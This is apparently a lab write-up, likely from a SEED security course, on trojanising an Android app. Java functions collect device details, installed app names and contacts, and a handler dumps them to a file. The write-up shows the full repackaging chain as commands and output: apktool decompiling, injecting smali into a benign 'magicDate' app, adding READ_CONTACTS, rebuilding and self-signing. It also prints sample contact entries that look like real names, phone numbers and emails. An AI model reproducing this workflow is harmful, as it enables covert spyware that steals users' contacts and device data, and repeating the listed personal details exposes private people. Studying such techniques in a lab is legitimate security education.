READ_CONTACT – is the only permission I used

At first, I created several Java functions, which steal these things:

The first function – takes information about the device and the running OS using Build module

- Device
- SDK version
- FingerPrint
- Screen width
- Screen Height
- Model
- Product Name
- Incremental
- Supported 32 bit ABIs (ordered)
- Supported 64 bit ABIs(ordered)
- Product Name
- Display
- Hardware
- Host
- ID

The Second Function – returns the names of all the installed application on the device

The third Function – return all the contact information including their name, Phone number and E-mail address

```
-----Contacts Info-----

---->Name: Moshe Crespin
---->Phone Number: 0506977725
---->E-mail: moshec315@gmail.com

---->Name: Mom
---->Phone Number: 0505928584
---->E-mail: mom@gmail.com
```

Handler is the function that connect all these functions

```
public void Handler() {
    String Data = "";
    Data += getDeviceInfo();
    Data += getAllApks();
    Data += Contacts();
    dumpToFile(Data, getApplicationContext());
}
```

Created an APK file from these functions, and used APKTool to reverse engineer it into SMALI code

```
seed@VM: ~/Desktop
[02/20/22]seed@VM:~/Desktop$ apktool d m_app.apk
I: Using Apktool 2.4.0-dirty on m_app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/seed/.local/share/apktool/frame
work/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
[02/20/22]seed@VM:~/Desktop$
```

Also transformed the base app into SMALI code

```
[02/20/22]seed@VM:~/Desktop$ apktool d magicDate.apk
I: Using Apktool 2.4.0-dirty on magicDate.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/seed/.local/share/apktool/frame
work/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
```

Now I injected the malicious SMALI code into the payload of The Base App

Appended READ_CONTACT permission to AndroidManifest file

```
AndroidManifest.xml
~/Desktop/malware
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"
 android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.example.c" platformBuildVersionCode="32"
 platformBuildVersionName="12">
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true"
 android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round"
 android:supportsRtl="true" android:theme="@style/Theme.C">
        <activity android:exported="true" android:name="com.example.c.main">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <provider android:authorities="com.example.c.androidx-startup" android:exported="false"
 android:name="androidx.startup.InitializationProvider">
            <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
        </provider>
    </application>
</manifest>
```

Built the App using with the flag b

```
[02/20/22]seed@VM:~/.../magicDate$ apktool b
I: Using Apktool 2.4.0-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not e
xtract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
```

Signed the app using keytool and jarsigner

```
seed@VM: ~/.../dist
[02/20/22]seed@VM:~/.../dist$ jarsigner -signedjar "out.apk" -keystore myk
ey.keystore "magicDate.apk" bob
Enter Passphrase for keystore:
jar signed.

Warning:
The signer's certificate is self-signed.
[02/20/22]seed@VM:~/.../dist$
```

וכאן קיבלתי את התוצאה הסופית:

mykey.keystore	2.4 kB	08:57
out.apk	85.7 kB	08:59